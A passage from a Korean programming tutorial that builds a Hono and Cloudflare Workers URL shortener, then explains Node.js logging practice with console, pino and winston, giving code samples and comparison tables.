│ ├─ index.ts 진입점 — export default app
│ ├─ app.ts Hono 인스턴스 · 미들웨어 조립
│ ├─ env.ts Bindings · Variables 타입
│ ├─ db/
│ │ └─ schema.ts Drizzle 스키마
│ ├─ lib/
│ │ ├─ auth.ts JWT 발급 · 검증 미들웨어
│ │ └─ id.ts 짧은 코드 생성
│ └─ routes/
│ ├─ links.ts 생성 · 목록 · 삭제 (인증 필요)
│ ├─ stats.ts 클릭 통계
│ └─ go.ts /:code 리다이렉트 (인증 없음)
└─ web/ 프런트 (RPC 타입을 그대로 씁니다)
└─ src/api.ts
// wrangler.jsonc
{
"name": "short",
"main": "src/index.ts",
"compatibility_date": "2026-08-01",
"observability": { "enabled": true },
"d1_databases": [{ "binding": "DB", "database_name": "short",
"database_id": "..." }],
"kv_namespaces": [{ "binding": "KV", "id": "..." }],
"routes": [{ "pattern": "s.example.com", "custom_domain": true }]
}
스키마와 타입
// src/db/schema.ts
import { sqliteTable, text, integer, index } from "drizzle-orm/sqlite-core";
import { sql } from "drizzle-orm";
export const users = sqliteTable("users", {
id: text("id").primaryKey(),
email: text("email").notNull().unique(),
hash: text("hash").notNull(),
});
export const links = sqliteTable("links", {
code: text("code").primaryKey(), // abc123
url: text("url").notNull(),
userId: text("user_id").notNull().references(() => users.id),
clicks: integer("clicks").notNull().default(0),
createdAt: integer("created_at", { mode: "timestamp" })
.notNull().default(sql`(unixepoch())`),
}, (t) => [ index("links_user_idx").on(t.userId) ]);
export const events = sqliteTable("events", {
id: integer("id").primaryKey({ autoIncrement: true }),
code: text("code").notNull(),
ts: integer("ts").notNull(),
country: text("country"),
colo: text("colo"), // 어느 도시에서 처리했나
referer: text("referer"),
}, (t) => [ index("events_code_ts").on(t.code, t.ts) ]);
// src/env.ts
export type Bindings = {
DB: D1Database;
KV: KVNamespace;
JWT_SECRET: string;
};
export type Variables = {
user: { id: string; email: string };
requestId: string;
};
export type Ctx = { Bindings: Bindings; Variables: Variables };
events 를 따로 둔 이유 — links.clicks 만 올리면
“며칠에 몇 번, 어느 나라에서”를 못 봅니다.
집계값과 원본 이벤트를 둘 다 두는 것이 통계 API 의 기본형입니다.
핵심 코드 — 인증 · 생성 · 리다이렉트 🟡 중급
JWT — 표준 WebCrypto 로
// src/lib/auth.ts
import { sign, verify } from "hono/jwt"; // ★ 라이브러리 설치 불필요
import { createMiddleware } from "hono/factory";
import { HTTPException } from "hono/http-exception";
import type { Ctx } from "../env";
export const issue = (secret: string, u: { id: string; email: string }) =>
sign({ sub: u.id, email: u.email,
exp: Math.floor(Date.now() / 1000) + 60 * 60 * 24 * 7 }, secret);
export const requireAuth = createMiddleware<Ctx>(async (c, next) => {
const raw = c.req.header("authorization")?.replace(/^Bearer /, "");
if (!raw) throw new HTTPException(401, { message: "인증이 필요합니다" });
try {
const p = await verify(raw, c.env.JWT_SECRET);
c.set("user", { id: String(p.sub), email: String(p.email) });
} catch {
throw new HTTPException(401, { message: "토큰이 유효하지 않습니다" });
}
await next();
});
// 비밀번호 해시 — bcrypt 없이 WebCrypto 로 (PBKDF2)
export async function hashPw(pw: string, saltHex?: string) {
const salt = saltHex ? hexToBytes(saltHex) : crypto.getRandomValues(new Uint8Array(16));
const key = await crypto.subtle.importKey("raw", new TextEncoder().encode(pw),
"PBKDF2", false, ["deriveBits"]);
const bits = await crypto.subtle.deriveBits(
{ name: "PBKDF2", salt, iterations: 100_000, hash: "SHA-256" }, key, 256);
return `${toHex(salt)}:${toHex(new Uint8Array(bits))}`;
}
링크 생성 — 검증 + RPC 체이닝
// src/routes/links.ts
import { Hono } from "hono";
import { zValidator } from "@hono/zod-validator";
import { z } from "zod";
import { drizzle } from "drizzle-orm/d1";
import { eq, and, desc } from "drizzle-orm";
import { links } from "../db/schema";
import { requireAuth } from "../lib/auth";
import { newCode } from "../lib/id";
import type { Ctx } from "../env";
const CreateLink = z.object({
url: z.url("주소 형식이 아닙니다").max(2048),
code: z.string().regex(/^[a-z0-9_-]{3,32}$/i).optional(), // 직접 지정도 허용
});
// ★ 체이닝을 끊지 않습니다 — RPC 타입이 여기서 만들어집니다
const route = new Hono<Ctx>()
.use(requireAuth)
.post("/", zValidator("json", CreateLink), async (c) => {
const { url, code } = c.req.valid("json");
const db = drizzle(c.env.DB);
const key = code ?? newCode(); // 7자 무작위
try {
await db.insert(links)
.values({ code: key, url, userId: c.get("user").id });
} catch {
return c.json({ code: "DUPLICATE", message: "이미 쓰는 코드입니다" }, 409);
}
// ★ 만들자마자 캐시에 넣어 둡니다 — 첫 클릭도 빠릅니다
c.executionCtx.waitUntil(c.env.KV.put(`l:${key}`, url, { expirationTtl: 86400 }));
return c.json({ code: key, url, short: `https://s.example.com/${key}` }, 201);
})
.get("/", async (c) => {
const db = drizzle(c.env.DB);
const rows = await db.select().from(links)
.where(eq(links.userId, c.get("user").id))
.orderBy(desc(links.createdAt)).limit(50);
return c.json({ items: rows });
})
.delete("/:code", async (c) => {
const db = drizzle(c.env.DB);
const key = c.req.param("code");
const r = await db.delete(links)
.where(and(eq(links.code, key), eq(links.userId, c.get("user").id)));
await c.env.KV.delete(`l:${key}`); // ★ 캐시 무효화를 같은 함수 안에
return c.body(null, 204);
});
export default route;
리다이렉트 — 이 파일이 전부의 핵심입니다
// src/routes/go.ts
import { Hono } from "hono";
import { drizzle } from "drizzle-orm/d1";
import { eq, sql } from "drizzle-orm";
import { links, events } from "../db/schema";
import type { Ctx } from "../env";
const go = new Hono<Ctx>().get("/:code", async (c) => {
const key = c.req.param("code");
// ① KV 먼저 — 대부분 여기서 끝납니다 (1~5ms)
let url = await c.env.KV.get(`l:${key}`);
// ② 없으면 D1 에서 찾고, 찾으면 KV 를 채웁니다
if (!url) {
const db = drizzle(c.env.DB);
const row = await db.select({ url: links.url }).from(links)
.where(eq(links.code, key)).get();
if (!row) return c.notFound();
url = row.url;
c.executionCtx.waitUntil(
c.env.KV.put(`l:${key}`, url, { expirationTtl: 86400 }),
);
}
// ③ 클릭 기록은 응답을 막지 않습니다 ★ 이게 이 프로젝트의 핵심입니다
const cf = (c.req.raw as any).cf ?? {};
c.executionCtx.waitUntil(
c.env.DB.batch([
c.env.DB.prepare("UPDATE links SET clicks = clicks + 1 WHERE code = ?1")
.bind(key),
c.env.DB.prepare(
`INSERT INTO events (code, ts, country, colo, referer)
VALUES (?1, ?2, ?3, ?4, ?5)`)
.bind(key, Date.now(), cf.country ?? null, cf.colo ?? null,
c.req.header("referer") ?? null),
]),
);
// ④ 즉시 넘겨줍니다. 캐시는 짧게 (링크가 바뀔 수 있으므로)
return c.redirect(url, 302);
});
export default go;
waitUntil 을 빼면 통계가 조용히 사라집니다.
c.redirect() 를 반환하는 순간 응답이 나가고,
아이솔레이트는 정리 대상이 됩니다.
Express 였다면 res.redirect() 뒤의 await insert() 가
그냥 실행됐지만 여기서는 아닙니다.
통계 · 조립 · 프런트
// src/routes/stats.ts — 날짜별·나라별 집계
const stats = new Hono<Ctx>()
.use(requireAuth)
.get("/:code", async (c) => {
const key = c.req.param("code");
const since = Date.now() - 7 * 864e5;
// ★ 왕복을 한 번으로 — 두 집계를 batch 로 함께 보냅니다
const [byDay, byCountry] = await c.env.DB.batch([
c.env.DB.prepare(
`SELECT date(ts/1000,'unixepoch') d, count(*) n FROM events
WHERE code = ?1 AND ts > ?2 GROUP BY d ORDER BY d`).bind(key, since),
c.env.DB.prepare(
`SELECT country, count(*) n FROM events
WHERE code = ?1 AND ts > ?2 GROUP BY country
ORDER BY n DESC LIMIT 10`).bind(key, since),
]);
return c.json({ byDay: byDay.results, byCountry: byCountry.results });
});
// src/app.ts — 조립
import { Hono } from "hono";
import { logger } from "hono/logger";
import { cors } from "hono/cors";
import { secureHeaders } from "hono/secure-headers";
import { HTTPException } from "hono/http-exception";
export const app = new Hono<Ctx>();
app.use(secureHeaders());
app.use("/api/*", cors({ origin: ["https://app.example.com"] }));
if (import.meta.env?.DEV) app.use(logger());
const routes = app
.route("/api/links", links)
.route("/api/stats", stats)
.route("/", go); // ★ /:code 는 맨 마지막에 (다른 경로를 안 먹게)
app.notFound((c) => c.json({ code: "NOT_FOUND" }, 404));
app.onError((err, c) => {
if (err instanceof HTTPException) return err.getResponse();
console.error(JSON.stringify({ msg: String(err) }));
return c.json({ code: "INTERNAL_ERROR" }, 500);
});
export type AppType = typeof routes; // ★ 프런트가 쓸 계약서
export default app;
// web/src/api.ts — 프런트는 주소 문자열을 한 번도 안 씁니다
import { hc } from "hono/client";
import type { AppType } from "../../src/app";
const api = hc<AppType>("https://s.example.com", {
headers: () => ({ authorization: `Bearer ${localStorage.token}` }),
});
const res = await api.api.links.$post({ json: { url: "https://long.example.com/a" } });
if (res.status === 201) {
const { short } = await res.json(); // ✅ 타입 추론됨
}
돌려 보고 올리기 — 그리고 Express 판과 비교 🔴 실무
처음부터 끝까지 명령
# ① 만들기
npm create hono@latest short # cloudflare-workers 선택
cd short
npm i drizzle-orm zod @hono/zod-validator
npm i -D drizzle-kit wrangler vitest @cloudflare/vitest-pool-workers
# ② D1 · KV 만들기 (출력된 id 를 wrangler.jsonc 에 붙입니다)
npx wrangler d1 create short
npx wrangler kv namespace create KV
# ③ 마이그레이션
npx drizzle-kit generate # 스키마 → SQL
npx wrangler d1 migrations apply short --local
npx wrangler d1 migrations apply short --remote
# ④ 로컬 실행 · 테스트
npx wrangler dev
curl -X POST localhost:8787/api/links \
-H "authorization: Bearer $TOKEN" -H "content-type: application/json" \
-d '{"url":"https://example.com"}'
npx vitest run
# ⑤ 시크릿 · 배포
npx wrangler secret put JWT_SECRET
npx wrangler deploy
npx wrangler tail --status error
// 테스트 — 서버를 안 띄웁니다 (g11)
import { env, SELF } from "cloudflare:test";
import { expect, it } from "vitest";
it("없는 코드는 404", async () => {
expect((await SELF.fetch("https://s/zzzzz")).status).toBe(404);
});
it("있으면 302 로 넘긴다", async () => {
await env.KV.put("l:abc", "https://example.com");
const res = await SELF.fetch("https://s/abc", { redirect: "manual" });
expect(res.status).toBe(302);
expect(res.headers.get("location")).toBe("https://example.com");
});
같은 기능, 두 가지 방식
| Node + Express | Hono + Workers | |
|---|---|---|
| 콜드 스타트 | 300~600ms | ~5ms |
| 서울에서 응답 | 50~80ms | 10~15ms |
| 브라질에서 | 300ms 이상 | 15ms 안팎 |
| 트래픽 0일 때 | 서버 값 그대로 | 0원 |
| 배포 시간 | 이미지 빌드 + 롤아웃 | 수 초 |
| 롤백 | 이전 이미지 재배포 | 명령 한 줄 |
| TLS · 도메인 | Nginx · certbot | 설정에서 한 줄 |
| 인프라 파일 | Dockerfile · compose · nginx.conf | wrangler.jsonc 하나 |
| 클릭 기록 | res 뒤에 그냥 await | waitUntil 필수 |
| bcrypt | 그대로 사용 | WebCrypto 로 교체 |
| 통계 집계 배치 | cron 프로세스 | Cron Trigger · Queue |
| 디버깅 | 디버거 · 힙 스냅샷 | 로그와 트레이스 위주 |
waitUntil · RPC 타입 공유 · Workers 배포.
특히 기억할 두 줄은 “캐시 무효화는 쓰기와 같은 함수 안에” 와
“응답 뒤 작업은 waitUntil 에” 입니다 — 엣지에서 가장 자주 나는 사고 두 가지입니다.로그는 글이 아니라
검색되는
데이터입니다
장애가 났을 때 우리가 가진 것은 로그뿐입니다. 그런데 대부분의 Node 프로젝트는
console.log 로 시작해서 그대로 운영에 나갑니다 — 레벨도, 시각도, 요청 ID 도 없이.
이 탭은 왜 console 로는 부족한지부터 시작해
pino · winston · debug · consola 같은 라이브러리를 무엇을 보고 고르는지,
JSON 한 줄에 어떤 필드를 넣는지, 요청 ID 를 어떻게 자동으로 붙이는지,
토큰이 로그로 새지 않게 막는 법, 그리고 그 줄이 stdout 을 떠나 대시보드에 닿기까지를 잇습니다.
끝나면 “로그를 왜 그렇게 찍었냐”는 질문에 설계로 답할 수 있게 됩니다.
console.* 의 진실 — 어디로 나가고, 왜 부족한가
console.log 는 로거가 아닙니다. 파일 서술자에 문자열을 쓰는 편의 함수입니다.
그 사실 하나만 알아도 “왜 운영에서는 다른 걸 쓰나”가 절반은 설명됩니다.
console 이 실제로 하는 일
// Node 의 console 은 stdout/stderr 를 감싼 얇은 껍데기입니다.
// 대략 이런 모양이라고 생각하면 정확합니다.
const { format } = require('node:util');
console.log = (...a) => process.stdout.write(format(...a) + '\n'); // fd 1
console.error = (...a) => process.stderr.write(format(...a) + '\n'); // fd 2
console.warn = console.error; // ★ warn 도 stderr 입니다 (자주 놓칩니다)
console.info = console.log;
console.debug = console.log; // ★ 이름만 debug — 끄는 스위치가 없습니다
// 객체를 넘기면 util.inspect 가 돕니다 — 순환 참조는 [Circular *1] 로,
// getter 는 부르지 않고 [Getter] 로 적고, TTY 면 색 코드를 붙이고, 깊이 2까지 펼칩니다.
console.log({ user: { id: 1, roles: ['admin'] } });
// → { user: { id: 1, roles: [ 'admin' ] } } ← JSON 이 아닙니다. 파싱 못 합니다
console.warn 과 console.error 는 stderr 로 갑니다.
node app.js > app.log 로 리다이렉트하면 경고와 에러만 화면에 남고 파일에는 안 들어갑니다.
둘 다 모으려면 node app.js > app.log 2>&1 이라고 써야 합니다.
쓰기가 동기인가 비동기인가 — 목적지가 정합니다
| 목적지 | POSIX(리눅스·맥) | Windows |
|---|---|---|
| 파일 | 동기 | 동기 |
| TTY(터미널) | 동기 | 비동기 |
| 파이프 · 소켓 | 리눅스 동기 / 맥 비동기 | 동기 |
write(2) 시스템 콜이 끝날 때까지
이벤트 루프가 멈춘다는 뜻입니다. 초당 수천 줄을 찍는 서버에서
console.log 는 조용한 성능 사고가 됩니다.
node app.js > app.log 처럼 파일로 돌려 놓으면 더 나빠집니다.
node -e "console.log(process.stdout.isTTY)" 를
그냥 실행할 때와 | cat 을 붙였을 때 각각 돌려 보세요.
같은 코드가 환경에 따라 다르게 동작합니다.
한 단계 더 — 브라우저의 console 은 또 다릅니다 🟡 중급
브라우저에서 벌어지는 세 가지
// ① 객체는 "지연 평가"됩니다 — 펼칠 때의 값이 보입니다
const cart = { items: [] };
console.log(cart); // devtools 에서 펼치면 items 가 3개일 수 있습니다
cart.items.push(1, 2, 3); // 로그를 찍은 뒤에 바뀐 것인데도
// ② 콘솔에 남긴 객체는 GC 대상에서 빠집니다 (devtools 가 참조를 잡습니다)
// 루프에서 큰 객체를 찍으면 탭 메모리가 계속 오릅니다
for (const row of hugeRows) console.log(row); // ← 개발 중에도 위험
// ③ 스냅샷이 필요하면 그 자리에서 굳힙니다
console.log(structuredClone(cart)); // 또는 JSON.parse(JSON.stringify(x))
util.inspect 가 그 자리에서 문자열로 굳히므로 이 문제가 없습니다.
배포물에서 console 을 지우는 세 가지 방법
// ① 번들러가 통째로 들어내기 — 가장 확실합니다
// vite.config.ts
export default defineConfig(({ command }) => ({
// esbuild 옵션은 dev 에도 적용되므로, build 일 때만 지웁니다
esbuild: { drop: command === 'build' ? ['console', 'debugger'] : [] },
}));
// ② terser 로 특정 함수만 남기기
// { compress: { pure_funcs: ['console.log', 'console.debug'] } }
// → console.error 는 남기고 log/debug 만 지웁니다
// ③ 애초에 못 쓰게 막기 — eslint
// eslint.config.js
export default [{
rules: { 'no-console': ['error', { allow: ['error', 'warn'] }] },
}];
console.* 호출이 breadcrumb(사고 직전 발자국) 으로 자동 수집됩니다(lg11).
그때는 지우지 말고 내용만 안전하게 만드는 편이 낫습니다.
실무에선 이렇게 — console 을 그냥 써도 되는 자리 🔴 실무
console 로 충분한 곳
- 일회성 스크립트 — 마이그레이션, 데이터 보정
- CLI 도구의 사용자 출력 — 사람에게 보여 주는 글 (이건 로그가 아니라 UI 입니다)
- 테스트 중 임시 확인 — 커밋 전에 지우면 됩니다
- 부팅 직전 한 줄 — 로거를 만들기 전에 죽었을 때의 최후 수단
console 이면 사고가 나는 곳
- 요청 처리 경로 — 초당 수천 번, 동기 쓰기
- 레벨을 끄고 싶은 곳 —
console.debug는 끌 방법이 없습니다 - 검색해야 하는 곳 — 구조가 없으니
grep밖에 못 씁니다 - 여러 요청이 섞이는 곳 — 어느 줄이 어느 요청인지 알 수 없습니다
console 로 충분하고,
나중에 누군가가 조건을 걸어 찾아야 한다면 그건 로거의 일입니다.
console 은 fd 1·2 에 문자열을 쓰는 편의 함수입니다.
목적지가 파일이면 동기 쓰기라 이벤트 루프가 멈추고, 레벨·시각·구조·요청 ID 가 없어
검색할 수 없는 글이 남습니다. 운영 로그는 처음부터 레코드로 만들어야 합니다.라이브러리 지형도 — 여덟 개를 한 장에 놓고 고릅니다
JS 로깅 라이브러리는 “빠른 JSON 계열” 과 “예쁜 콘솔 계열” 로 갈립니다. 둘은 목적이 다르고, 섞어 쓰면 둘 다 손해입니다. 무엇이 어느 쪽인지부터 봅시다.
빠른 JSON 계열 — 서버가 쓰는 것
| 이름 | 한 줄 요약 | 고르는 순간 |
|---|---|---|
| pino | JSON 을 문자열로 바로 만들고 워커 스레드로 내보냄. 사실상 표준 | Node 백엔드라면 기본값 |
| winston | 포맷·트랜스포트 조립식. 느리지만 붙일 곳이 많음 | 이상한 곳으로 직접 보내야 할 때 |
| bunyan | 구조적 JSON 로깅의 원조. 지금은 사실상 멈춘 프로젝트 | 신규 채택 금지 · 레거시만 |
| roarr | “항상 찍고 CLI 에서 거른다”. 라이브러리 안에서 쓰기 좋음 | 내가 만든 패키지에 로그를 넣을 때 |
예쁜 콘솔 계열 — 사람이 읽는 것
| 이름 | 한 줄 요약 | 고르는 순간 |
|---|---|---|
| debug | DEBUG=app:* 네임스페이스 스위치. 로거가 아니라 추적 스위치 | 라이브러리 내부 추적 |
| consola | UnJS·Nuxt 계열. 상자·스피너·프롬프트까지 | CLI 도구 · 빌드 스크립트 |
| tslog | TypeScript 우선. 스택 추적과 코드 프레임이 예쁨 | 작은 TS 서비스 · 학습용 |
| signale | 예쁜 스코프 출력의 원조. 사실상 멈춤 | consola 로 대체하세요 |
pino-pretty 를 파이프로 붙여 해결합니다(lg03).
숫자를 볼 때 — 채택 정도를 정직하게 읽는 법 🟡 중급
자릿수만 기억하세요 (2026년 8월 기준 대략)
| 패키지 | 주간 내려받기 자릿수 | 그 숫자의 의미 |
|---|---|---|
debug | 억 단위 | express·socket.io 등이 의존해서 딸려 옵니다. 인기가 아니라 전이 의존 |
winston | 천만 단위 | 오래 쌓인 기존 프로젝트가 많습니다 |
pino | 천만 단위 | Fastify·NestJS 쪽에서 계속 오르는 중 |
consola | 백만~천만 단위 | Nuxt·unbuild 빌드 도구 의존이 대부분 |
bunyan | 백만 단위 | 거의 전부 오래된 의존성. 새 채택은 드묾 |
tslog · roarr | 십만 단위 | 특정 상황에서만 고릅니다 |
signale | 만 단위 · 감소 | 신규 채택은 사실상 없습니다 |
debug 가 pino 보다 열 배 많이 받아진다고 해서
“열 배 좋은 로거”가 아닙니다 — 애초에 같은 종류가 아닙니다.
직접 확인하는 세 가지 방법
# ① 지금 이 순간의 최신 버전 · 배포일 · 의존성
npm view pino version time.modified dependencies
# ② 최근 릴리스 흐름 — 유지보수가 살아 있는지 보는 가장 빠른 신호
npm view winston versions --json | tail -n 12
npm view bunyan time --json | tail -n 6 # 마지막 배포가 언제인지
# ③ 설치했을 때 실제로 들어오는 무게
npm i -D pino winston
du -sh node_modules/pino node_modules/winston
# ④ 추세 비교는 웹에서 (숫자를 옮겨 적지 말고 그때그때 보세요)
# https://npmtrends.com/pino-vs-winston-vs-bunyan-vs-tslog
# GitHub 저장소의 최근 커밋 · 열린 이슈 수 · 릴리스 간격
실무에선 이렇게 — 고르는 결정표 🔴 실무
| 상황 | 고를 것 | 이유 |
|---|---|---|
| Express·Nest 로 만든 API 서버 | pino | 구조적 JSON + 워커 트랜스포트. pino-http·nestjs-pino 로 5분이면 붙습니다 |
| Fastify | 내장 pino | 이미 들어 있습니다. logger:true 한 줄 |
| 여러 파일·SMTP·Slack 으로 직접 보내야 함 | winston | 트랜스포트가 가장 많습니다. 다만 수집기에 맡기는 편이 대개 낫습니다(lg12) |
| 내가 npm 에 배포하는 라이브러리 | debug 또는 roarr | 쓰는 쪽에 로거 설정을 강요하지 않습니다. 기본은 꺼져 있어야 합니다 |
| CLI 도구 · 빌드 스크립트 | consola | 사람이 읽는 출력이 목적입니다. JSON 이 필요 없습니다 |
| 브라우저 앱 | Sentry + 얇은 래퍼 | 브라우저에는 “로그 파일”이 없습니다(lg11) |
| Next.js 엣지 런타임 | 구조를 맞춘 console | 워커 스레드·fs 가 없어 pino 트랜스포트가 못 돕니다(lg06) |
| 옛 bunyan 코드 | pino 로 이전 | 필드 규약이 거의 같아 이전 비용이 낮습니다 |
pino 실전 — 왜 빠르고, 무엇을 워커에게 넘기나
pino 가 빠른 이유는 마법이 아니라 안 하는 일이 많아서입니다. 메인 스레드에서는 문자열을 만들어 버퍼에 넣는 것까지만 하고, 나머지는 전부 워커 스레드로 넘깁니다.
5분 시작 — 이 설정이 대부분의 정답입니다
npm i pino
npm i -D pino-pretty # ★ 개발 의존성입니다. 운영 번들에 넣지 마세요
// src/logger.ts
import pino from 'pino';
export const logger = pino({
level: process.env.LOG_LEVEL ?? 'info',
// ① 레벨을 숫자(30) 대신 문자열("info")로 — 수집기 쿼리가 훨씬 편합니다
formatters: {
level: (label) => ({ level: label }),
},
// ② 시각을 ISO 문자열로. 기본은 epoch 밀리초(빠르지만 사람이 못 읽습니다)
timestamp: pino.stdTimeFunctions.isoTime,
// ③ 모든 줄에 붙는 고정 필드 — 어느 서비스의 어느 배포인지
base: {
service: 'checkout-api',
env: process.env.NODE_ENV,
version: process.env.GIT_SHA?.slice(0, 7),
},
// ④ 지울 것은 처음부터 지웁니다 (lg10 에서 자세히)
redact: ['req.headers.authorization', 'req.headers.cookie', '*.password'],
});
logger.info({ orderId: 8821, ms: 37 }, 'order paid');
// {"level":"info","time":"2026-08-14T09:12:03.421Z","service":"checkout-api",
// "env":"production","orderId":8821,"ms":37,"msg":"order paid"}
logger.info(객체, 메시지) 입니다.
객체가 먼저입니다. logger.info('주문 ' + id) 처럼 문자열을 조립하면
검색할 수 있는 필드가 사라집니다. 메시지는 고정 문구로 두고 값은 객체에 넣으세요.
왜 빠른가 — 안 하는 일 다섯 가지
| 보통의 로거 | pino |
|---|---|
util.inspect 로 예쁘게 | 안 함 — JSON 문자열을 바로 만듭니다 |
| 중간 객체를 여러 번 변환 | 안 함 — 한 번에 문자열로 이어 붙입니다 |
| 매 호출마다 레벨 비교 | 레벨별 함수를 미리 만들어 둡니다. 꺼진 레벨은 빈 함수 |
| 고정 필드를 매번 직렬화 | 자식 로거의 고정 필드는 한 번만 문자열로 굳혀 둡니다 |
| 포맷·전송을 그 자리에서 | 워커 스레드로 넘깁니다(pino.transport) |
logger.debug(`무거운 ${expensive()}`) 는
debug 가 꺼져 있어도 expensive() 가 실행됩니다.
템플릿 문자열 대신 logger.debug({ data }, '...') 로 넘기거나
if (logger.isLevelEnabled('debug')) 로 감싸세요.
자식 로거 — 문맥을 한 번만 붙이는 법 🟡 중급
logger.child() — pino 를 쓰는 진짜 이유
// 요청마다 자식 로거를 하나 만들어 두면
// 그 아래 모든 줄에 reqId 가 자동으로 붙습니다.
const reqLog = logger.child({ reqId: 'req_01J8Q', userId: 'u_8821' });
reqLog.info('handler start');
reqLog.debug({ sql: 'select ...' }, 'db query');
reqLog.info({ ms: 37 }, 'handler done');
// 세 줄 모두 reqId · userId 를 갖습니다
// 자식의 자식도 됩니다 — 계층이 쌓입니다
const dbLog = reqLog.child({ component: 'db', pool: 'primary' });
// ★ 자식 로거는 "만드는 순간" 고정 필드를 문자열로 굳혀 둡니다.
// 그래서 줄마다 다시 직렬화하지 않습니다 — 거의 공짜입니다.
// 반대로 값이 매 줄 달라지는 것은 child 가 아니라 인자로 넘기세요.
reqLog.info({ ms: Date.now() - t0 }, 'done'); // ○ 인자
logger.child({ ms: ... }); // ✗ 매번 child 를 만들면 낭비
AsyncLocalStorage 로 “지금 처리 중인 요청”을 들고 다니는 방법을
lg07 에서 통째로 다룹니다. 실무에서 가장 많이 쓰는 패턴입니다.
에러를 제대로 남기기 — err 라는 이름
try {
await pay(order);
} catch (err) {
// ★ 키 이름을 err 로 두면 pino 의 표준 직렬화기가 붙습니다
// → type · message · stack · code 를 펼쳐 줍니다
reqLog.error({ err, orderId: order.id }, 'payment failed');
}
// ✗ 이렇게 하면 대부분 "{}" 만 남습니다
// Error 는 열거 가능한 속성이 없어서 JSON.stringify 가 비웁니다
reqLog.error({ error: err }); // 키 이름이 err 가 아님
reqLog.error(JSON.stringify(err)); // → "{}"
reqLog.error(err.message); // 스택이 사라짐
// 원인 사슬(cause)까지 남기려면
throw new Error('checkout failed', { cause: err }); // Node 16.9+
// pino 는 err.cause 도 따라 내려가며 직렬화합니다
{ err } 라는 키 이름 하나만 지켜도 절반은 해결됩니다.
트랜스포트 — 개발과 운영을 갈라 놓기 🔴 실무
개발: 파이프로 예쁘게, 운영: 그냥 stdout
# ★ 권장 — 별도 프로세스로 파이프. 앱은 JSON 만 뱉습니다
node dist/app.js | npx pino-pretty
# package.json
# "scripts": {
# "dev": "tsx watch src/main.ts | pino-pretty --colorize --translateTime SYS:HH:MM:ss",
# "start": "node dist/main.js" ← 운영은 아무것도 붙이지 않습니다
# }
# 운영에서 굳이 파일이 필요하면 (컨테이너가 아닐 때만)
node dist/app.js >> /var/log/app/app.log 2>&1
// 앱 안에서 붙여야 한다면 transport 로 — 워커 스레드에서 돕니다
const logger = pino({
transport: process.env.NODE_ENV === 'production'
? undefined // 운영: stdout 그대로가 가장 빠릅니다
: { target: 'pino-pretty', options: { colorize: true } },
});
// 여러 목적지로 동시에 (각각 별도 워커)
const multi = pino({
transport: {
targets: [
{ target: 'pino/file', level: 'info', options: { destination: 1 } }, // 1 = stdout
{ target: 'pino/file', level: 'error', options: { destination: './error.log' } },
],
},
});
pino-pretty 를 운영에 절대 넣지 마세요 — 색 코드와 정렬을 만드느라
pino 의 장점을 전부 되돌립니다. 게다가 결과물이 JSON 이 아니어서
수집기가 필드를 못 읽습니다. 예쁜 출력은 사람이 보는 개발 화면에서만.
비동기 버퍼와 “죽을 때 마지막 줄”
// pino 는 기본적으로 버퍼에 모았다가 씁니다(sonic-boom).
// 빠른 대신, 프로세스가 갑자기 죽으면 버퍼가 날아갑니다.
import pino from 'pino';
const dest = pino.destination({ sync: false }); // 기본값
const logger = pino(dest);
// ★ 종료 직전에 반드시 비웁니다
const flushAndExit = (code: number) => {
logger.flush(() => process.exit(code)); // 버퍼를 다 밀어낸 뒤 종료
}; // (버퍼가 비어 있으면 'drain' 은 안 옵니다 — 콜백으로)
process.on('SIGTERM', () => flushAndExit(0)); // k8s 가 보내는 신호
process.on('SIGINT', () => flushAndExit(0));
// 잡히지 않은 예외 — 예전 문서의 pino.final 은 지금 pino 에 없습니다.
// fatal 은 항상 동기로 flush 하므로 찍고 바로 나가면 됩니다
process.on('uncaughtException', (err) => {
logger.fatal({ err }, 'uncaught exception');
process.exit(1);
});
sync: true 는 언제 쓰나 — 짧은 CLI·배치·람다처럼
“끝나면 바로 죽는” 프로그램입니다. 이때는 버퍼가 날아가는 위험이 손해보다 큽니다.
장시간 도는 서버라면 절대 켜지 마세요 — 매 줄이 동기 write 가 됩니다(lg09).
level 을 환경변수로 ② base 에 service·env·version
③ redact 로 헤더·비밀번호 ④ err 키로 에러
⑤ 요청마다 child({ reqId }) ⑥ SIGTERM 에서 flush.
여기까지가 “설정 끝”입니다. 나머지는 수집기가 합니다.
err 키로 넘기고,
pino-pretty 는 개발 파이프로만 씁니다.winston 실전 — 조립식의 값과 값어치
winston 은 포맷과 목적지를 레고처럼 조립하는 로거입니다. 그 유연함이 장점이자 비용입니다. pino 로 안 되는 것이 있을 때만 꺼내는 편이 좋습니다 — 그 “있을 때”가 언제인지 봅시다.
기본 설정 — 운영에서 쓸 만한 모양
npm i winston winston-daily-rotate-file
import winston from 'winston';
import 'winston-daily-rotate-file';
const { combine, timestamp, errors, json, colorize, printf } = winston.format;
export const logger = winston.createLogger({
level: process.env.LOG_LEVEL ?? 'info',
defaultMeta: { service: 'checkout-api', env: process.env.NODE_ENV },
format: combine(
errors({ stack: true }), // ★ 반드시 json() 앞에. 없으면 스택이 사라집니다
timestamp(),
json(),
),
transports: [
new winston.transports.Console(),
new winston.transports.DailyRotateFile({
filename: 'logs/app-%DATE%.log',
datePattern: 'YYYY-MM-DD',
maxSize: '50m',
maxFiles: '14d', // 14일치만 남기고 지웁니다
zippedArchive: true,
}),
],
// 죽을 때의 마지막 줄
exceptionHandlers: [new winston.transports.File({ filename: 'logs/exceptions.log' })],
rejectionHandlers: [new winston.transports.File({ filename: 'logs/rejections.log' })],
});
// 개발에서는 사람이 읽는 포맷으로 갈아 끼웁니다
if (process.env.NODE_ENV !== 'production') {
logger.clear();
logger.add(new winston.transports.Console({
format: combine(colorize(), timestamp({ format: 'HH:mm:ss' }),
printf(({ level, message, timestamp, ...rest }) =>
`${timestamp} ${level} ${message} ${Object.keys(rest).length ? JSON.stringify(rest) : ''}`)),
}));
}
errors({ stack: true }) 를
json() 뒤에 두면 이미 문자열이 된 뒤라 아무 일도 안 합니다.
combine 은 위에서 아래로 순서대로 적용됩니다.
winston 의 레벨은 숫자가 반대입니다
| winston (npm 레벨) | pino |
|---|---|
error = 0 | fatal = 60 |
warn = 1 | error = 50 |
info = 2 | warn = 40 |
http = 3 | info = 30 |
verbose = 4 | debug = 20 |
debug = 5 | trace = 10 |
silly = 6 | — |
level 로 지정한 것과 그보다 심각한 것을 남긴다”는 뜻은 같습니다.
대시보드에서 level >= 50 같은 조건을 쓸 때 반대로 걸리기 쉬우니
레벨은 문자열로 출력해 두는 편이 안전합니다.
const reqLog = logger.child({ reqId }).
다만 pino 처럼 고정 필드를 미리 굳혀 두지는 않아서
